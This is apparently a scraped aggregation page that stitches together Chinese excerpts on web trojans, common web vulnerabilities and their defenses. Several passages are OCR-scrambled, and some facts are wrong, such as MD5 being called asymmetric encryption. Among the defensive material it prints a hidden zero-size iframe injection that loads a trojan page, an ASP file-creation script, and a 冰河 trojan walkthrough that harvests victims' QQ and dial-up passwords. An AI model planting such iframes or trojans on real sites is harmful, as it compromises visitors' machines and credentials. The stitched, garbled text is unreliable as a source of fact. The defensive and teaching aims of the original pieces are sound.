Web安全之网页木马的检测与防御
2019年网站挂马检测工具-范文模板 (10页)
本文部分内容来自网络整理，本司不为其真实性负责，如有异议或侵权请及时联系，本司将立即删除！== 本文为word格式，下载后可方便编辑和修改！ ==网站挂马检测工具篇一：网站中木马的三个检验方法有人说木马是黑客想要入侵电脑窃取资料所创造出来的，也有人说木马是杀毒软件公司未来销售产品所造出来的，但是无论是谁弄出来的，很突出的一点就是木马的存在。
如何知道网站是否被挂了木马？凡科将根据丰富的建站经验，为大家带来检验木马的三种检验方法。
大家要知道网站如果中了木马，轻则使数据丢失，重则使整个网站瘫痪，所以掌握检验木马的方法是很必要的。
检验方法一：用杀毒软件进行检测。
现在最多用户使用的杀毒软件就有360、金山和瑞星。
虽然这些杀毒软件都有自动提醒，但是有些木马如果不主动检测的话是不会显示的，所以每周站长们都应该使用杀毒软件进行木马的排查。
检验方法二：访问网站时如提示有病毒则不要点击。
对于登陆自己的网站提示有病毒的，站长们就应该立刻杀毒，但是如果是登陆其他网站提示可能存在风险的话，那么这些网站就不要进去了。
检验方法三：网站源码中存在可疑的网址。
如果网站被挂木马的话，我们可以通过源代码来查看，如果你找到了不是自己网站的URL，而且也不是友链的网址的话，那么很可能就是网站被挂了木马了，这时需要尽快除掉链接，而且加强网站的防御攻击功能。
当然了对付木马最好的更多的还是需要依靠软件，所以定时更新病毒库也是十分的重要啊，要养成好的习惯哦！篇二：信息安全测评工具信息安全等级保护测评工具选用指引一、必须配置测试工具（一）漏洞扫描探测工具。
1.网络安全漏洞扫描系统。
2.数据库安全扫描系统。
（二）木马检查工具。
1.专用木马检查工具。
2.进程查看与分析工具。
二、选用配置测试工具（一）漏洞扫描探测工具。
应用安全漏洞扫描工具。
（二）软件代码安全分析类。
软件代码安全分析工具。
（三）安全攻击仿真工具（四）网络协议分析工具（五）系统性能压力测试工具1.网络性能压力测试工具2.应用软件性能压力测试工具（六）网络拓扑生成工具（七）物理安全测试工具1.接地电阻测试仪2.电磁屏蔽性能测试仪（八）渗透测试工具集（九）安全配置检查工具集（十）等级保护测评管理工具综合工具：漏洞扫描器：极光、Nessus、SSS等；安全基线检测工具（配置审计等）：能够检查信息系统中的主机操作系统、数据库、网络设备等；渗透测试相关工具：踩点、扫描、入侵涉及到的工具等；主机：sysinspector、Metasploit、木马查杀工具、操作系统信息采集与分析工具(Win,Unix)、日志分析工具、数据取证工具（涉密）；网络：Nipper（网络设备配置分析）、SolarWinds、Omnipeek、laptop（无线检测工具）；应用：AppScan、Webinspect、FotifySCA、Sql injection tools、挂马检测工具、webravor等。
网页木马机理与防御方法
网页木马机理与防御方法网页木马是一种常见的网络安全威胁，它可以通过植入恶意代码来窃取用户的隐私信息、篡改网页内容，甚至控制用户的电脑。
在互联网日益普及的今天，网页木马成为了网络安全的一大隐患，防范网页木马攻击成为了网络安全的重要工作之一。
本文将详细介绍网页木马的机理与防御方法，帮助读者更好地了解和防范此类安全威胁。
一、网页木马的机理1. 植入恶意代码网页木马通常是通过植入恶意代码来实现攻击的。
攻击者会利用各种手段，如漏洞利用、社会工程学等方式，将恶意代码植入到网页中，并隐藏在网页的代码中。
一旦用户访问了被植入了恶意代码的网页，就会触发木马的攻击机制。
2. 收集用户隐私信息网页木马可以通过恶意代码收集用户的隐私信息，包括账号密码、银行卡信息、个人身份证信息等。
攻击者可以利用这些信息进行盗窃、诈骗等违法活动。
3. 篡改网页内容除了窃取用户信息之外，网页木马还可以篡改网页内容，如插入广告、篡改链接等。
这不仅影响用户体验，还可能导致用户误操作，进而陷入更多的安全风险。
4. 控制用户电脑部分网页木马甚至可以控制用户的电脑，比如远程操控用户电脑进行挖矿、发起DDoS 攻击等恶意行为。
这对用户的个人信息安全、电脑安全都构成了严重威胁。
二、网页木马的防御方法1. 加强网页安全意识作为用户，加强对网络安全的意识是预防网页木马攻击的第一步。
在浏览网页时，尽量避免访问不明来源的网页，不轻信陌生网站的链接，避免点击不明链接，不轻易安装来历不明的插件和软件。
2. 使用安全浏览器安全浏览器通常内置了网页木马检测和拦截功能，可以及时识别和阻止恶意网页的访问。
用户可以选择安装一些知名的安全浏览器，如360安全浏览器、腾讯浏览器等，以增强对网页木马的防护能力。
3. 安装杀毒软件和防火墙安装有效的杀毒软件和防火墙是防范网页木马攻击的重要手段。
杀毒软件和防火墙可以帮助用户实时监控和拦截恶意代码的攻击，保护用户的电脑和个人信息安全。
4. 定期更新系统和软件定期更新操作系统和软件补丁可以修复系统漏洞，从而减少网页木马攻击的风险。
Web安全防护指南：基础篇
演讲人 2020-11-21
第一部分 基础知识
目录
第二部分 网络攻击的基本 防护方法
第五部分 常见Web防护技 术及防护开展方法
三部分 业务逻安全 第四部分 攻防综合视角 下的Web安全防护
01
第一部分 基础知识
1.1 Web安全的核心问题 1.2.1 HTTP请求头的内
10 用户管理功能的实现
12 用户身份识别技术及 安全防护
14 用户权限处理问题
三部分 业务逻安 全
15 业务流程安全基础防护方式 总结
三部分 业务逻安全
9.1 用户管理的 基本内容
9.3 用户管理逻 辑的漏洞
9.2 用户管理涉 及的功能
9.4 本章小结
9 业务逻辑安全风险存在的前 提
10.1 客户端 保持方式
20 Web防护技术的演进
22 渗透测试的方法及流 程
21 Web安全防护体系建议
23 快速代码审计实践
第五部分 常见Web防护技术及防护开展方法
01
20.1 硬 件WAF
04
20.2 防 篡改软件
02
20.1.1 常用的防
护规则
05
20.3 云 防护系统
03
20.1.2 Apache ModSecurity
16 标准业务场 景
18 用户视角下 的防护手段识别
B
19 常用的防护 方案
D
第四部分 攻防综合视角下的Web安全防护
01
16.1 CMS 及其特征
04
16.2.2 数 据库开放远
程管理
02
16.2 常见 的远程管
理方式
05
网络安全：了解黑客攻击和防御技术
网络安全：了解黑客攻击和防御技术网络安全作为一门新兴的学科，越来越受到人们的重视。
大众使用互联网的时候很容易被黑客攻击所侵害。
本文将简单地介绍黑客攻击的种类和防御技术，希望能够帮助大家在网络使用时更加安全。
一、黑客攻击种类1. 网络钓鱼（Phishing）网络钓鱼是一种通过伪造合法信息来诱骗用户提供敏感信息（例如用户名、密码、银行卡号等），以实施欺诈或其他不法目的的网络攻击方式。
例如，利用电子邮件、社交媒体、短信等渠道发送虚假消息，引诱用户点击链接或下载文件，从而盗取用户的账户及密码信息。
2. 漏洞攻击（Exploit）漏洞攻击是指黑客通过利用软件或系统上的安全漏洞，实现非法控制计算机、获取或破坏数据的攻击行为。
这种攻击方式通常基于漏洞利用工具，例如Metasploit、Exploitdb等工具，可以扫描网络并利用发现的漏洞进行攻击。
3. 木马攻击（Trojan）木马攻击是指黑客设计的一种恶意程序，通常被伪装成普通的软件或文件，但是其中包含了隐藏的恶意代码。
一旦用户打开了这些文件，就会下载安装木马程序，黑客就可以通过木马程序来控制计算机，获取用户信息或者传播病毒。
4. DDoS攻击DDoS攻击（Distributed Denial of Service Attack）是一种分布式拒绝服务攻击，用大量的请求占用目标服务器的网络带宽和资源，使之失去响应，导致无法提供正常服务的网络攻击方式。
攻击者可以通过控制大量的僵尸网络来发动攻击，造成极大的损失。
二、防御技术1. 信息安全意识教育信息安全意识教育是指通过各种渠道提高用户对信息安全问题的认识和敏感性。
例如，通过向用户发送信息安全警示邮件或短信，强调信息保密、密码安全和谨防网络钓鱼等问题。
加强用户对信息安全的了解和认识，可以有效减少黑客攻击对自己的影响。
2. 加强系统和软件的安全性针对不同的黑客攻击，可以采取相应的防御措施。
例如，可以安装杀毒软件、防火墙等软件；对网络进行加密和认证；增强Web应用程序的安全性等。
网页挂马检测技术研究
• 23•网页挂马是一种常见的网络攻击方式，对网络信息安全构成威胁。
黑客通过各种手段获取管理员账号，登陆并修改页面内容。
网页挂马检测技术，可以避免恶意网页的危害,保护用户利益。
本文对网页挂马技术做出概述，基于Python网络爬虫进行抓取，对抓取内容进行漏洞分析，深入研究web网页应用漏洞原理、检测方法。
1 引言web网页挂马指的是把一个木马程序上传到一个网站,然后用木马生成器生成一个网马，最后反传回空间。
黑客通过SQL注入，敏感文件的扫描，程序0day等方式获得网站管理员的账号，登陆网站的后台，目的是通过数据库备份与恢复或者上传某个漏洞获得一个webshell。
通过获得的webshell在网页上进行修改，也可以在页面中加入恶意HTML代码。
也可以直接通过弱口令来获取FTP，可直接对网站的页面进行修改（刘洁，我国网页篡改及挂马检测技术专利分析：中国科技信息，2018）。
web网页一旦被挂马就面临着安全问题，检测技术至关重要。
检测技术有如下三种：（1）特征匹配。
将网页挂马的脚本按脚本病毒处理进行检测。
（2）主动防御。
浏览器创建某项任务，被提问是否运行时，多数用户会选择是，网页木马因此被植入，这就是典型的网页挂马现象。
（3）脚本行为分析。
通过浏览器等主机的行为动作来判断网页是否含有木马。
本文是基于Python语言实现网络爬虫对网页进行漏洞检测，需要建立特征知识库匹配URL信息，本文主要研究特征匹配检测技术，将网页的源码进行特征值匹配，检测是否存在漏洞。
本文研究内容也是网络安全研究的热点之一。
2 网页挂马技术网页挂马是在可编辑文件中，或HTML代码头部中加入一段代码，来实现跳转到另一个网站，访问指定的HTML，然后通过漏洞攻破系统下载木马，进而隐藏下载木马并运行。
下面介绍几种网页挂马方式：（1）js文件挂马将js脚本的代码写在网页中，访问者在浏览网页时，恶意代码会通过主机打开网页木马的窗口，潜伏运行。
首先将以下代码document.write(“<iframe width=’0’ height=’0’src=’http //www.baidu/muma.htm’></iframe>”);保存为xxx.js，则js文件代码为<script language=javascript src=xxx.js></script>（2）body挂马body挂马可以在打开正常页面地址的时候，自动跳转到网马页面。
Web安全攻防中的常用方法
Web安全攻防中的常用方法Web安全是网络世界中一个非常重要的话题。
Web安全的攻防是Web应用程序中最重要的方面。
攻击者试图利用各种技术和工具攻击Web应用程序，以获得未经授权的访问、窃取有价值的数据或者在Web应用程序上执行恶意操作，而安全团队则致力于保证Web应用程序的安全性，确保用户的数据和交易信息不受到攻击。
在这场攻防战中，有一些常用的攻击和防御方法，下面将进行详细介绍。
1. SQL注入攻击与防御SQL注入是一种常见的Web攻击方式，主要针对使用SQL语言的数据库应用程序。
攻击者通过输入恶意SQL语句，使程序执行预期外的操作，例如删除、修改或查询数据库中的数据。
因此，必须采取一些措施来防止SQL注入攻击的发生。
防御方法：1）检查输入参数开发人员需要检查用户输入，确保它们的格式和内容都符合要求。
例如，可以限制输入数量和类型，并对输入的数据进行验证和清理，以避免恶意输入。
2）使用SQL参数化查询参数化查询是一种建议使用的查询方式，它可以将用户输入作为参数传递给SQL语句，从而避免注入攻击。
当使用参数化查询时，开发人员应该尽量避免使用拼接字符串来构建SQL语句，因为这种方式很容易遭受攻击。
2. 跨站请求伪造攻击与防御跨站请求伪造（CSRF）攻击是一种Web攻击，通过伪装成受信任主机的请求，以执行未经授权的操作。
该攻击通常利用用户的会话信息，以完成被攻击网站上的特定操作。
防御方法：1）使用CSRF令牌CSRF令牌是一种用于防御CSRF攻击的技术。
该技术在登录用户的会话中设置一个随机值，在发送重要请求时需要将该值包含在请求中。
服务器将验证请求中的CSRF令牌是否是来自受信任的源，如果不符合要求，则请求会被拒绝。
2）限制请求来源另一个防御CSRF攻击的方法是通过检测HTTP请求头中的来源来判断请求是否来自受信任的源。
如果请求不来自受信任的源，则服务器将拒绝该请求。
3. XSS攻击与防御XSS攻击是通过在Web页面上嵌入恶意代码来攻击该页面的一种攻击方式。
Web网页木马的概念、攻击与防御
历 不 明 的 链接 不要 轻 易 点 击 ． 对 于从 不 可 靠 的 网 址 上 下 载 的
是 正 常的 官 方 网站 ， 但 是 这 些 官 方 网 站上 有 漏 洞 ， 黑客利 用了 不 明 程 序 不要 轻 易安 装运 行 ，对 于 来 历 不 明 的 各种 文件 也 不 因为这些链接 、 程序 、 文 件 都 有 可 能挂 载 一 这 些 漏洞 ．获 取 了官 方 网站 的 修 改 权 限 ．加 载 了一 些 挂 马 链 要 轻 易 下 载 打 开 ， 些 特 种 木 马 。 接 使得 正 常 网站 变成 了一 个 挂 马 网站 。 这 类 攻 击还 会 利 用攻 击客 户 端 浏 览 器的 漏洞 ． 向 目标 用 户植 入 病 毒 、远 程 控 制 网 页、 密码 盗 取 等 恶 意 程 序 ， 属 于 漫 无 目的 撒 网 式 攻 击 方 式 ． 访
绝 大 部 分 的 网 页木 马 受 害 者 都 忽 略 了 自 己所使 用 的 系统 及 应 用软 件 的 补 丁 升级 ＿ 引 。 通 过 安 全 系统 配 置及 时给 系统 及 应
１ Ｗｅ ｂ网页木马的概念
木 马 程 序 广 义 称 之 为 病 毒 ．通 过 用 户在 客 户端 的访 问 实 现 隐秘 运 行 ， 已列 入 到 杀毒 软 件 的查 杀 范 围 中 。但 与病 毒 不 同， 木 马 不 会 自我 繁 殖和 自我 进 化 ， 他们感 染电脑后 ， 能够 悄 无 声 息 的 启动 并驻 留 内存 ，还 能 用 多 重保 护手 段 逃 脱 杀毒 软
件 的 发 现 和 清 除【 １ 】 ｏ
用软 件 打 上 补 丁 ． 让 网 页木 马 无 漏 洞 可利 用 ， 可 将 中 网 页木 马 的几 率 降到 最 低 。同 时经 常 关 注 最新 防止 漏洞 被 网 页木 马 制 作 者 所 利 用 。应 该 打 开操 作 系 统 的 自动 更 新 功 能 ． 比如 微 软 公 司提 供 的 最新 漏洞 补 丁要 及
“计算机网页病毒的剖析与防御”毕业论文
（2012届）专科毕业设计（论文）计算机网页病毒的剖析与防御学院（系）：计算机技术与软件工程学院专业：计算机网络技术学生姓名：班级：学号：指导老师：职称：最终评定成绩：2011年12月计算机网页病毒的剖析与防御摘要：如今，上网浏览信息和收发电子邮件已经是一件很普通的事情，但随之而来却是邮件病毒和网页病毒的泛滥流行。
2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒，由于是通过电子邮件系统传播，因此在短短几天内狂袭了全球数百万的电脑。
微软、Intel等在内的众多大型企业网络系统瘫痪，全球经济损失达几十亿美元。
而“新欢乐时光”病毒至今都让广大电脑用户苦不堪言。
这些病毒最大的共同特点就是使用VB Script编写。
VB Script脚本语言功能非常强大，它们利用Windows系统的开放性特点，通过用一些现成的Windows 对象、组件，可以直接对文件系统、注册表等进行控制。
原本是为了弥补HTML 语言的缺陷，提供在网页中与Web客户交互的功能，但用心不良者却利用他们来制造网页病毒。
本文对网页病毒这个“新概念”、网页病毒形成原理和主要攻击方式进行了阐述，通过长期对网页病毒的制作方式、制作技术的观察和分析，初步形成了以基本防御、一般手工清理、高级手工清理为四个层次的“四步骤”网页病毒防御策略。
关键词：网页病毒；Windows脚本宿主；浏览器；注册表；系统进程The computer web virus analysis and defenseAbstract：Today, Internet browsing and e-mail message is a very common thing, but it is followed by e-mail viruses and Web virus epidemics. May 4, 2000 in Europe and America broke out of the "Love Bug" network worm, because it is spread through e-mail system, so within a few days Kuang Xi millions of computers around the world. Microsoft, Intel, including many large-scale enterprise network system failures, global economic losses of several billion dollars. "New Happy Hour" virus majority of computer users today are so miserable.Most common feature of these viruses is the use of VB Script writing. VB Script scripting language is very powerful, they use the open characteristics of the Windows system, by using some of the existing Windows objects, components, can be directly on the file system, registry and other control. Was originally designed to compensate for defects in the HTML language, provide customer interaction with the Web page functions, but those who have bad intentions to use them to create web viruses.In this paper, Web virus this "new concept" virus formation and of the main page attack are described, through long-term virus production methods on the web, production techniques of observation and analysis, initially formed a basic defense, general manual cleanup, senior manual cleaning for the four levels of the "four steps" Web viral defense strategy.KeyWords：Web virus; Windows scripting host; The browser; The registry; System process目录第1章绪论 (1)第2章网页病毒的概述 (3)2.1、什么是网页病毒 (3)2.2、网页病毒危机的形成原因 (4)2.3、网页病毒的攻击方式 (5)2.4、网页病毒的发展趋势 (5)2.5、网页病毒的种类 (6)第3章网页病毒技术机理分析 (8)3.1、网页病毒的制作方式 (8)3.2、几种网页病毒制作技术分析 (9)3.3、网页病毒的特征 (11)3.4、网页病毒的传播手法 (11)第4章网页病毒的防御对策 (12)4.1、网页病毒的基本防御 (12)4.2、网页病毒一般清理 (14)4.3、网页病毒一般手工清理 (15)4.4、未知网页病毒的高级手工清理 (18)第5章结束语 (21)参考文献 (23)附录一Nimda蠕虫病毒剖析 (24)附录二走进WSH (26)致谢 (32)第1章绪论随着互联网在社会生活中的深入应用和发展，网页技术也在不断改进和升级，由最初仅支持简单的纯文本静态页面，到现在DHTML、Java、ActiveX、Flash、流媒体等新技术的引入，使得网页功能更加丰富多彩的同时，也给网页病毒的滋长提供了温床。
Web网站的安全问题及防护策略
安全技术13Web 网站的安全问题及防护策略◆秦乐阳1 影响Web 网站安全的因素1.1 系统平台易受攻击如果是利用windows 的操作系统，在微软公司发现漏洞然后发布补丁的过程中，都会存在一个时间差，而在这个时间范围内，网站的数据库安全就有可能受到威胁。
一旦某些黑客在发现这些漏洞后，批量攻击许多网站，那些平时疏于管理，并对操作系统的补丁不注意修补的企业就会成为被攻击的目标。
而且现在很多政府和企业门户网站平台只注重系统的控件是否丰富，界面是否美观，价格是否便宜，而不注意网站的安全问题，这更是为黑客提供了可乘之机。
1.2 加密算法单一现在很多政府机关和企业的网站喜欢使用MD5这种算法对数据库进行加密，利用这种算法加密的网站数据库具有很好的加密性，MD5加密算法是一种使用很普遍的非对称加密算法，许多电子钱包、电子现金的业务也使用这种算法，这种算法使用的是哈希函数，利用相关的散列函数输入数据然后进行一定的计算，出现一个固定长度的值，这个值可以在知道密码的条件下被验证，但是无法利用这个值，反推出密码。
在原则上，这种方法很难被破译。
但是很多企业在设计密码上力求简单，很多时候只是设计一个例如生日密码这种格式相对固定的密码。
而黑客只需要进行暴力攻击，不断穷举就可以实现密码的破译。
1.3 验证系统不可靠政府和企业门户网站的开发为了加强开发的效率，往往会外部给网页设计企业，但是代码一般也会使用之前设计过的，只是显示页面稍作替换，在这种情况下，一旦当初设计的代码，没有全面的进行数据分析和用户输入的判断，就会使系统的安全受到很大的威胁。
比如说：无孔不入的SQL 注入攻击。
而且由于是代管的，网页设计企业的一个员工可能要负责维护很多个网站，造成力不从心，无法认真注意某个网站被攻击的情况，许多政府机关或者企业在设计网站的过程中就发现有这种问题。
2 Web 网站安全问题2.1 SQL 注入攻击SQL 注入攻击的首要条件是服务器端代码自身有漏洞，在服务器和Web 端口相互连接之后，绕开很多防护措施，直接对没有授权的数据进行访问，这就是对数据库后端进行攻击的攻击方式。
网页木马机理与防御方法
网页木马机理与防御方法1. 引言1.1 什么是网页木马网页木马是一种针对网页服务器的恶意软件代码，其作用类似于传统计算机木马，但是目标对象是通过Web浏览器访问网页的用户。
网页木马可以通过各种手段伪装成正常的网页内容，诱导用户点击或访问，从而感染用户设备或窃取用户信息。
这种类型的木马通常隐藏在正常网页的代码中，使用各种技术手段避开网站的安全检测，使得用户很难察觉其存在。
网页木马的危害主要体现在窃取用户的个人隐私信息、盗取用户的账号密码、传播其他恶意软件等方面。
一旦用户设备被感染，其信息安全和个人隐私将受到威胁，甚至可能导致财产损失和声誉受损。
网页木马也可能对网站运营商造成损失，破坏网站的信誉和用户体验。
在互联网时代，网页木马的威胁愈发严重，各种新型的木马攻击不断涌现，给网络安全带来了巨大挑战。
深入研究网页木马的机理和防御方法，对于保护用户信息安全、确保网络安全稳定具有重要意义。
【字数：245】1.2 木马的危害木马的危害主要表现在以下几个方面：1. 窃取用户隐私信息：网页木马可以通过监视用户的网络通信、截取用户的密码和账户信息等手段，窃取用户的个人隐私信息。
这些信息一旦落入黑客手中，很可能会被用于非法用途，导致用户财产损失或者个人隐私泄露的风险。
2. 欺诈和诈骗：通过植入木马代码在正常网页中，黑客可以伪装成合法网站诱骗用户点击，例如虚假的银行网站、购物网站等，以达到获取用户财产和个人信息的目的。
这种欺诈手段往往让用户难以辨识真假，容易上当受骗。
3. 破坏系统安全：网页木马还可能带来系统的崩溃和数据丢失。
通过在服务器端植入木马程序，黑客可以远程控制服务器，破坏系统的稳定性，影响网站的正常运行。
一些恶意的木马程序还会对用户的计算机系统造成破坏，导致数据丢失和系统运行缓慢等问题。
网页木马的存在给网络安全带来了极大的威胁，用户和网站管理者都需要高度警惕，并采取有效的防御措施来保护自己的隐私和系统安全。
1.3 研究背景在研究背景中，我们需要了解到网络空间安全一直是互联网发展过程中的重要议题。
木马攻击与防范
1随着人类生活水平的逐渐提升，网络已成为人们生活中必不可少的一个部分，但是网络的安全问题让人们不得不担忧。
尤其是近几年，网络业务越来越多，许许多多的人采用了网络的方式来处理自己的日常生活事务，电子银行、网上购物已成为人们处理事务的常事了。
但是由于一些不法分子企图通过网络的方式来谋取非法的利益，尤其是一些敏感领域及一些数额较大的交易，更是成为了不法分子攻击的目标，给广大的网络用户带来了巨大的安全威胁，并造成了许多难以估计的损失。
黑客和计算机病毒是网络安全最为普遍的威胁。
特洛伊木马就是这样的一种病毒，它没有自我复制能力，但它的特点是伪装成一个实用工具或者一个可爱的游戏，这会诱使用户将其安装在PC或者服务器上。
而完整的木马程序一般由两个部分组成：一个是服务器程序，一个是控制器程序。
“中了木马”就是指安装了木马的服务器程序，若你的电脑被安装了服务器程序，则拥有控制器程序的人就可以通过网络控制你的电脑，为所欲为，这时你电脑上的各种文件、程序，以及在你电脑上使用的帐号、密码就无安全可言了。
而冰河木马是国人编写的木马的经典之作，文章就冰河木马远程控制的实现原理及消除办法进行探讨，揭示木马普遍的工作原理，并提出相关的解决办法，提示人们要时刻注意网络的安全，保证自身利益不要受到侵害，对广大的网络用户而言是具有非常重要的意义的。
2 木马的定义、分类及发展2.1木马的定义“木马”程序是目前比较流行的病毒文件，但它与一般的病毒不同，它究竟与病毒有什么不同之处，有必要认识一下病毒及木马的定义，再对比分析病毒与木马的区别与联系。
2.1.1病毒的定义及特点病毒是“指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。
计算机病毒的特点：计算机病毒是人为的特制程序，具有自我复制能力，具有很强的感染性，一定的潜伏性，特定的触发性和很大的破坏性。
2.1.2木马的定义及特点特洛伊木马，英文叫做"Trojan house",其名称取自希腊神话的特洛伊木马记。
十大常见web漏洞及防范
⼗⼤常见web漏洞及防范⼗⼤常见web漏洞⼀、SQL注⼊漏洞SQL注⼊攻击（SQL Injection），简称注⼊攻击、SQL注⼊，被⼴泛⽤于⾮法获取⽹站控制权，是发⽣在应⽤程序的数据库层上的安全漏洞。
在设计程序，忽略了对输⼊字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令⽽运⾏，从⽽使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进⼀步导致⽹站被嵌⼊恶意代码、被植⼊后门程序等危害。
通常情况下，SQL注⼊的位置包括：（1）表单提交，主要是POST请求，也包括GET请求；（2）URL参数提交，主要为GET请求参数；（3）Cookie参数提交；（4）HTTP请求头部的⼀些可修改的值，⽐如Referer、User_Agent等；（5）⼀些边缘的输⼊点，⽐如.mp3⽂件的⼀些⽂件信息等。
常见的防范⽅法（1）所有的查询语句都使⽤数据库提供的参数化查询接⼝，参数化的语句使⽤参数⽽不是将⽤户输⼊变量嵌⼊到SQL语句中。
当前⼏乎所有的数据库系统都提供了参数化SQL语句执⾏接⼝，使⽤此接⼝可以⾮常有效的防⽌SQL注⼊攻击。
（2）对进⼊数据库的特殊字符（’”<>&*;等）进⾏转义处理，或编码转换。
（3）确认每种数据的类型，⽐如数字型的数据就必须是数字，数据库中的存储字段必须对应为int型。
（4）数据长度应该严格规定，能在⼀定程度上防⽌⽐较长的SQL注⼊语句⽆法正确执⾏。
（5）⽹站每个数据层的编码统⼀，建议全部使⽤UTF-8编码，上下层编码不⼀致有可能导致⼀些过滤模型被绕过。
（6）严格限制⽹站⽤户的数据库的操作权限，给此⽤户提供仅仅能够满⾜其⼯作的权限，从⽽最⼤限度的减少注⼊攻击对数据库的危害。
（7）避免⽹站显⽰SQL错误信息，⽐如类型错误、字段不匹配等，防⽌攻击者利⽤这些错误信息进⾏⼀些判断。
（8）在⽹站发布之前建议使⽤⼀些专业的SQL注⼊检测⼯具进⾏检测，及时修补这些SQL注⼊漏洞。
实验4-木马及病毒攻击与防范
57
② 执行脚本编写的代码。要执行上述代 码，首先要配好IIS服务器和Web服务器。 ③ 当Web服务器配置完成，将上述编辑 好的代码保存到Web服务器的路径中， 如“C:\Inetpub\ wwwroot\test.asp”。
58
④ 打开IE浏览器，在地址栏中输入 “http://localhost/test.asp”，运行脚本。 这时，如果脚本没有语法错误，则将在 网页中输出“新建文件myfile”，并且在 D盘根目录下建立了一个文件myfile，如 图4.29所示。
("Scripting.FilesystemObject")”产生一个服
务器系统对象。
56
使用“fso.Create TextFile
（"d:\myfile"）”在D盘根目录建立一个文件
myfile，并且使用response.write（"新建文件
myfile"）在页面中说明文件建立的完成。
59
图4.29 网页病毒
60
4．网页病毒的防范
① 使用“regsvr32 scrrun.dll/u”命令 禁用文件系统对象“FileSystemObject”。
② 自定义安全级别，打开IE浏览器， 在“Internet选项”→“安全”选项中选 择“自定义安全级别”，把“ActiveX控 件及插件”的一切设置设为禁用，如图 4.30所示。
冰河操作(5)
31
冰河操作(6)
3.口令获取：口令类命令里可是有不少好东西的！ 如果你运气够好的话，你会找到很多的网站名、 用户名和口令。 图中第一处抹黑的是上网帐号的密码，这可 不能乱用喔。第2处抹掉的就是QQ46581282的密 码了!
教你几招识别和防御web网页木马好方法
者 是 鼠标 指针 变 成 沙漏 形状 ， 有 可 能 便
正在 遭 受 网 页 木马 的攻 击 。 安 全 软 件 报 警 ： 全 软 件 报 警 也 许 安 是对 用 户 来 说 最 安 全 的 一 种 网 页 木 马
密码 盗 取 等恶 意 程 序 的 手段 。 见 的 网 常 页木 马 攻 击 手段 有 哪 些 ？用 户 应该 如 何
备 、 业 局 域 网 并 列 的 安 全 主 要 威 胁 之 企
Ｏ
染其 所 带 网 页木 马 种 植 的 恶 意软 件 。
虽然 没 有 具 体 的 统 计 结 果 ， 过 从 不
攻击 （ 图 ） 如 。 浏 览 器 显 示 ： 击 者 在 使 用 网 页 木 攻 马 的被 动 攻 击 方 式 时 。 常 会 在 被 其 控 通
网 页 木 马 就 是 网 页 恶 意 软 件 威 胁
可能 带 有 网 页木 马 的 网站 ． 何 识 别 正 如 在 发 生 的网 页木 马 攻 击 ？用 户可 以根 据 以下 的几个 最 常 见 的现 象来 判 断 ：
的 罪 魁 祸 首 ，和 大 家 印 象 中 的 不 同 ， 准 确地 说 ，网页 木 马 并 不 是木 马 程 序 ， 而
种 欺 骗 、 诱 等 手 段 ， 使 用 户 访 问 放 引 诱
置 有 网页 木 马 的网 站 ． 果 用 户 不 小 心 如
毒 软 件 不 报 警 不 一 定 说 明 网 站 就 是 安
页木 马 攻击 时 ， 系统 会
频 繁 的 对 磁 盘 进 行 读 写 操 作 （ 理 内 存 不够 物
安 全 咖 啡 屋
７２
计 算 机 与
网 络 创 新
生 活
瓣
校园Web的安全威胁与防范
浅析校园Web的安全威胁与防范摘要：通过对数字化校园web应用的安全威胁进行分析，发现跨站脚本、网页挂马、sql注入、不良信息是主要存在的安全威胁。
该文结合具体的实例分析了各种威胁的攻击方式、原理及危害，从web管理、web服务、技术手段提出了安全防护方案。
通过实践证明，该方案可以有效提高校园web应用的安全防护水平。
关键词：校园web；web应用；网络安全中图分类号：tp393 文献标识码：a 文章编号：1009-3044（2013）05-1012-02近几年来，各大高校为了增强信息化系统的社会服务功能和访问的便捷性，都在向web应用模式转型。
为了保证这些web应用系统的安全，大多高校网也都部署了ssl安全代理、防火墙、ids/ips ，以及软件防火墙、防病毒这类安全设备。
但是，网页挂马、网页篡改、ddos攻击的恶性攻击事件不仅没有因此减少，反而还出现了大幅飙升的趋势，数字化校园 web应用的安全防护迫在眉睫。
1 web 应用典型安全威胁及实例分析我院的web 应用网站主要有：教学资源、系及各部门二级网站、邮件系统等公共服务网站，共有50多个。
各二级部门网站有各个二级部门自己建设、管理，教学资源、公共服务网站有学院信息中心负责建设，管理与维护。
这种模式虽然可以方便各个系、部门及时更新发布信息，但是网站的建设质量和安全防护参差不齐，给学院网络安全带来了很多隐患。
下面结合数字化校园web 应用的实际情况，分别对四类典型的web应用安全威胁—sql 注入、跨站脚本（ xss）、网页挂马、不良信息进行分析，深入剖析数字化校园web 应用安全风险的原理，为有针对性地进行web 安全防护提供依据和参考，进一步提高数字化校园的安全水平，为网络教育教学的顺利开展提供坚实的安全保障。
1.1 sql 注入攻击sql注入攻击是黑客对数据库进行攻击的常用手段之一。
随着b/s 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。
WAF-web防御系统
WEB应用防护系统蓝盾信息安全技术股份有限责任公司2014年7月3日目录1.第一章WAF (2)1.1 产生背景 (2)1.2 应用功能 (2)审计设备 (2)访问控制设备 (3)架构/网络设计工具 (3)WEB应用加固工具 (3)1.3 特点 (3)异常检测协议 (3)增强的输入验证 (4)及时补丁 (5)基于规则的保护和基于异常的保护 (5)状态管理 (5)其他防护技术 (5)2.第二章BD-WAF (6)2.1蓝盾WEB应用防火墙简介 (6)2.2 BD-WAF 系统具备以下功能特性 (6)2.3 BD-WAF 的详细参数 (7)3.第三章绿盟WAF (11)3.1 绿盟W AF简介 (11)3.2 产品特点： (11)3.2 详细招标参数 (12)4.附录 (17)附录1. W AF（WEB应用防火墙）技术比较表 (17)附录2. 在选择W AF产品时，建议参考以下步骤： (18)第一章WAFWeb应用防护系统（也称：网站应用级入侵防御系统。
英文：Web Application Firewall，简称：WAF）。
利用国际上公认的一种说法：Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
1.1 产生背景当WEB应用越来越为丰富的同时，WEB 服务器以其强大的计算能力、处理性能及蕴含的较高价值逐渐成为主要攻击目标。
SQL注入、网页篡改、网页挂马等安全事件，频繁发生。
2007年，国家计算机网络应急技术处理协调中心（简称CNCERT/CC）监测到中国大陆被篡改网站总数累积达61228个，比2006年增加了1.5倍。
其中，中国大陆政府网站被篡改各月累计达4234个。
